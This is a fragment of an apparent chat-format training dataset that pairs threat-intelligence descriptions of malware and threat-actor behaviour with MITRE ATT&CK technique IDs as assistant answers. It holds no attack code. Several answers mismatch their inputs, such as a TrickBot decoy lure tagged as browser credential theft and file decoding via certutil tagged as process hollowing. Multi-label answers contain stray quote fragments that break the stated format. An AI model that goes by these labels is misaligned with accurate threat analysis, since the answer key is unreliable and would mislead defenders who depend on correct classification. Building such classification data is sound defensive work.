        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some Felismus samples use a custom encryption method for C2 traffic that utilizes AES and multiple keys."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "2.     The macro decodes the dropped files using Windows certutil.exe (certutil.exe is a legitimate built-in command-line program to manage certificates in Windows).    3.     The macro creates a copy of the files with their proper extensions using Extensible Storage Engine Utilities (esentutil.exe) (esentutil.exe is also a legitimate program that is pre-installed in Windows). The dropped files include the following:  GUP.exe : GUP, a free (LGPL) Generic Updater. GUP is an open source binary used by Notepad++ for software updates"
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing', 'T1106 - Native API', 'T1036 - Masquerading', 'T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We attribute this activity to TEMP.Zagros (reported by Palo Alto Networks and Trend Micro as MuddyWater), an Iran-nexus actor that has been active since at least May 2017. This actor has engaged in prolific spear phishing of government and defense entities in Central and Southwest Asia. When successfully executed, the malicious documents install a backdoor we track as POWERSTATS"
            },
            {
                "role": "assistant",
                "content": "T1218.005 - Signed Binary Proxy Execution: Mshta', 'T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "One of Dtrack can hide in replicas of legitimate programs like OllyDbg, 7-Zip, and FileZilla."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ember Bear has used tools to download malicious code."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "creates new services to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In addition, PLAINTEE will create a unique GUID via a call to CoCreateGuid() to be used as an identifier for the victim. The malware then proceeds to collect general system enumeration data about the infected machine and enters a loop where it will decode an embedded config blob and send an initial beacon to the C2 server. The first byte of the string is used as the XOR key to in turn decode the remainder of the data"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoshC2 has modules for enumerating domain trusts."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaigns use a TrickBot downloader that is signed and uses an icon to pretend it is a Microsoft Word document. When the user double-clicks the file, they are presented with a decoy message box. To avoid suspicion, the decoy message suggests the user should update Microsoft Word or open the file from another computer"
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZxxZ can collect the username from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is capable of deleting Registry keys used for persistence."
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Egregor has the ability to download files from its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Filename SHA256 Description   7za.exe dd6d7af00ef4ca89a319a230cdd094275c3a1d365807fe5b34133324bdaa0229 7-Zip 17.01 beta    nbt.exe c9d5dc956841e000bfd8762e2f0b48b66c79b79500e894b4efa7fb9ba17e4e9e nbtscan 1.0.35    rx.exe a6a0fbfee08367046d3d26fb4b4cf7779f7fb6eaf7e60e1d9b6bf31c5be5b63e IntelliAdmin Remote Execute v1.0    Table 5"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "H1N1 uses a custom packing algorithm."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Saint Bot can download additional files onto a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SombRAT can run \"upload\" to decrypt and upload files from storage."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BLINDINGCAN has been delivered by phishing emails containing malicious Microsoft Office documents."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In both cases, Group5 disguised the malicious binaries with several layers of obfuscation, including crypting and packing to reduce the possibility of detection by antivirus software"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TYPEFRAME variants can add malicious DLL modules as new services.TYPEFRAME can also delete services from the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "malware uses PowerShell commands to perform various functions, including gathering system information via WMI and executing commands from its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BADFLICK has delayed communication to the actor-controlled IP address by 5 minutes."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Parse the contents of a corresponding textbox within the document and convert it to a command line argument specific to the Windows architecture on the victim’s machine. Execute the command"
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CARROTBALL has the ability to download and install a remote payload."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses scripts to enumerate IP ranges on the victim network.  has also issued the command net view /domain to a  implant to gather information about remote systems on the network."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By applying two specific obfuscation techniques within Invoke-Obfuscation, we were able to create an obfuscated PowerShell script that was very similar to the QUADAGENT payloads delivered in the attacks discussed in this blog"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Magic Hound has attempted to lure victims into opening malicious links embedded in emails."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "connects to C2 infrastructure and establishes backdoors over a custom communications protocol."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We see it clustered here with some dynamic domain name system (DNS) domains. Dynamic DNS domains were observed in this cluster on later IP addresses as well, though this technique appears to have fallen out of favor, at least in this context, since there are none in this cluster currently active"
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In Figure 9, below, red indicates targeted IP addresses, malware, registrant information, and domains associated with the targeted attack campaign while blue indicates criminal attack IP addresses, malware used, registrant information, and domains:  Figure 9"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NewBCtestDll, NewBCtestnDll Module that is a reverse proxy and is able to execute commands. Module that is a reverse proxy and is able to execute commands. vncDll Module used as a RAT on the victim machine. Module used as a RAT on the victim machine. vpnDll Module used to create VPN proxy routed to a given address. Module used to create VPN proxy routed to a given address. rdpscanDll Module used for brute forcing RDP on a certain list of targets. Module used for brute forcing RDP on a certain list of targets. bcClientDllTestTest An old module used to proxy Trickbot operator traffic through a victim machine. An old module used to proxy Trickbot operator traffic through a victim machine"
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "malware encrypts C2 traffic using RC4 with a hard-coded key."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LAPSUS$ has created new virtual machines within the target's cloud environment after leveraging credential access to cloud assets."
            },
            {
                "role": "assistant",
                "content": "T1578.002 - Create Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In the old campaign the actor used TextBoxes to store its data while in the new one the content has been base64 encoded within the document content. In the new campaign JavaScript files have been used to execute batch and PowerShell files. The new campaign uses Powershell and URLMON API calls to download the cab file while in the old campaign it used certutil to download the cab file. The new campaign has used two different UAC bypass techniques based on the victim’s OS while in the old one the actor only used the Token Impersonation technique. In the new campaign the actor has developed a new variant of Konni RAT that is heavily obfuscated. Also, its configuration is encrypted and is not base64 encoded anymore"
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This indicates that a human operative was executing commands on a command line style interface, rather than an automated or GUI process"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Denis used the \"IsDebuggerPresent\", \"OutputDebugString\", and \"SetLastError\" APIs to avoid debugging. Denis used \"GetProcAddress\" and \"LoadLibrary\" to dynamically resolve APIs. Denis also used the \"Wow64SetThreadContext\" API as part of a process hollowing process."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Bumblebee loader can support the `Dij` command which gives it the ability to inject DLLs into the memory of other processes."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The 'ssonsvr.exe' file is a legitimate Citrix executable that will be used to sideload the malicious ‘pnipcn.dll’ file"
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OSInfo queries the registry to look for information about Terminal Services."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects the computer name, OS versioning information, and OS install date and sends the information to the C2."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has created Windows tasks to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Volgmer can gather system information, the computer name, OS version, drive and serial information from the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dust Storm has used Android backdoors capable of enumerating specific files on the infected devices."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HEXANE has identified executives, HR, and IT staff at victim organizations for further targeting."
            },
            {
                "role": "assistant",
                "content": "T1591.004 - Identify Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gazer performs thread execution hijacking to inject its orchestrator into a running thread from a remote process."
            },
            {
                "role": "assistant",
                "content": "T1055.003 - Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has created social media accounts to monitor news and security trends as well as potential targets."
            },
            {
                "role": "assistant",
                "content": "T1585.001 - Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware launches another thread that scans for new drives attached to the system every three seconds. If a new drive is attached to the system and is not identified as a type CDROM drive, the malware begins the encryption process on the new drive. On new drives attached to the system, the malware may create the directory &lt;Drive_letter&gt;:\\$RECYCLE and execute the following command"
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Use the latest attack patterns, Kubernetes (K8s) or Docker API targeting, which were featured in two reports focusing on TeamTNT operations, Black-T: New Cryptojacking Variant from TeamTNT and Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has attempted to get users to enable macros and launch malicious Microsoft Word documents delivered via spearphishing emails."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT39 has used the Smartftp Password Decryptor tool to decrypt FTP passwords."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Less than a week after Microsoft issued a patch for CVE-2017-11882 on Nov"
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Leviathan relies on web shells for an initial foothold as well as persistence into the victim's systems."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Caterpillar WebShell has a module to use a rootkit on a system."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Metamorfo has a command to delete a Registry key it uses, \"\\Software\\Microsoft\\Internet Explorer\\notes\"."
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can download additional files and payloads to compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Octopus has encoded C2 communications in Base64."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Icons were often folders, meant to trick targets into thinking they were opening a shortcut to a folder"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MiniDuke can can use a named pipe to forward communications from one compromised machine with internet access to other compromised machines."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remexi utilizes scheduled tasks as a persistence mechanism."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Indrik Spider has used Cobalt Strike to empty log files."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal on Host: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BackdoorDiplomacy has used EarthWorm for network tunneling with a SOCKS5 server and port transfer functionalities."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT3 has been known to remove indicators of compromise from tools."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If unable to contact the C2 server initially, the shellcode is configured to reattempt communication with the C2 server address in the following pattern:  [a-z][a-z][a-z].stage.14919005.www1.proslr3[.]com VBScript #2 “mshta.exe” further executes the second VBScript “58d2a83f777908.23270411.vbs”, which creates a folder by GUID name inside “Intel” and drops the VBScript payloads and configuration files: \\Intel\\{BFF4219E-C7D1-2880-AE58-9C9CD9701C90}\\58d2a83f777638.60220156.ini \\Intel\\{BFF4219E-C7D1-2880-AE58-9C9CD9701C90}\\58d2a83f777688.78384945.ps1 \\Intel\\{BFF4219E-C7D1-2880-AE58-9C9CD9701C90}\\58d2a83f7776b5.64953395.txt \\Intel\\{BFF4219E-C7D1-2880-AE58-9C9CD9701C90}\\58d2a83f7776e0.72726761.vbs \\Intel\\{BFF4219E-C7D1-2880-AE58-9C9CD9701C90}\\58d2a83f777716.48248237.vbs \\Intel\\{BFF4219E-C7D1-2880-AE58-9C9CD9701C90}\\58d2a83f777788.86541308.vbs \\Intel\\{BFF4219E-C7D1-2880-AE58-9C9CD9701C90}\\Foxconn.lnk This script then executes “58d2a83f777716.48248237.vbs”, which is a variant of FIN7’s HALFBAKED backdoor"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading', 'T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Axiom has used spear phishing to initially compromise victims."
            },
            {
                "role": "assistant",
                "content": "T1566 - Phishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Additionally, once infected, the malware cycles through a large list of command and control (C&amp;C) servers embedded within the malware. It appears while the list is extensive, not all of the C&amp;Cs are active and continue to beacon until a successful connection is established. Despite modifying a small part of itself while copying itself across the network as a means to evade detection, the operators have made no effort to change the C&amp;C communication protocol since its first inception"
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery', 'T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Word document delivering  prompts the user to enable macro execution."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KillDisk uses VMProtect to make reverse engineering the malware more difficult."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Frankenstein has run encoded commands from the command line."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bisonal variants reported on in 2014 and 2015 used a simple XOR cipher for C2. Some Bisonal samples encrypt C2 communications with RC4."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AuditCred is installed as a new service on the system."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
